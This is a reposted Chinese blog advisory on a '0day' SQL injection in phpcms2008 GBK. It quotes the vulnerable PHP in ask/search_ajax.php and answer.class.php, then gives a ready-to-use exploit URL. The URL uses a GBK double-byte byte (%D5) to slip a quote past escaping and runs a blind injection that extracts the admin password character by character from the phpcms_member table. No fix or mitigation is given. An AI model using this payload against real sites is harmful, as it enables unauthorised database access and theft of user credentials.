phpcms2008 GBK 双字节编码 0day ask/search_ajax.php 's

  • A+
所属分类:鬼仔Blog
摘要

作者:幻泉[B.S.N]受影响程序: phpcms2008 gbk漏洞文件:ask/search_ajax.php
漏洞等级:高
漏洞说明:
/ask/search_ajax.php
Code:

作者:幻泉[B.S.N]

受影响程序: phpcms2008 gbk

漏洞文件:ask/search_ajax.php

漏洞等级:高
漏洞说明:
/ask/search_ajax.php
Code:

if($q) { $where = " title LIKE '%$q%' AND status = 5";//没做过滤直接感染了$where } else { exit('null'); } $infos = $ask->listinfo($where, 'askid DESC', '', 10);

/ask/include/answer.class.php
Code:

function listinfo($where = '', $order = '', $page = 1, $pagesize = 50) { if($where) $where = " WHERE $where"; if($order) $order = " ORDER BY $order"; $page = max(intval($page), 1); $offset = $pagesize*($page-1); $limit = " LIMIT $offset, $pagesize"; $r = $this->db->get_one("SELECT count(*) as number FROM $this->table_posts $where"); $number = $r['number']; $this->pages = pages($number, $page, $pagesize); $array = array(); $i = 1; $result = $this->db->query("SELECT * FROM $this->table_posts $where $order $limit"); while($r = $this->db->fetch_array($result)) { $r['orderid'] = $i; $array[] = $r; $i++; } $this->number = $this->db->num_rows($result); $this->db->free_result($result); return $array; }

测试方法:
/ask/search_ajax.php?q=s%D5’/**/or/**/(select ascii(substring(password,1,1))/**/from/**/phpcms_member/**/where/**/username=0x706870636D73)>52%23

  • 我的微信
  • 这是我的微信扫一扫
  • weinxin
  • 我的微信公众号
  • 我的微信公众号扫一扫
  • weinxin

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: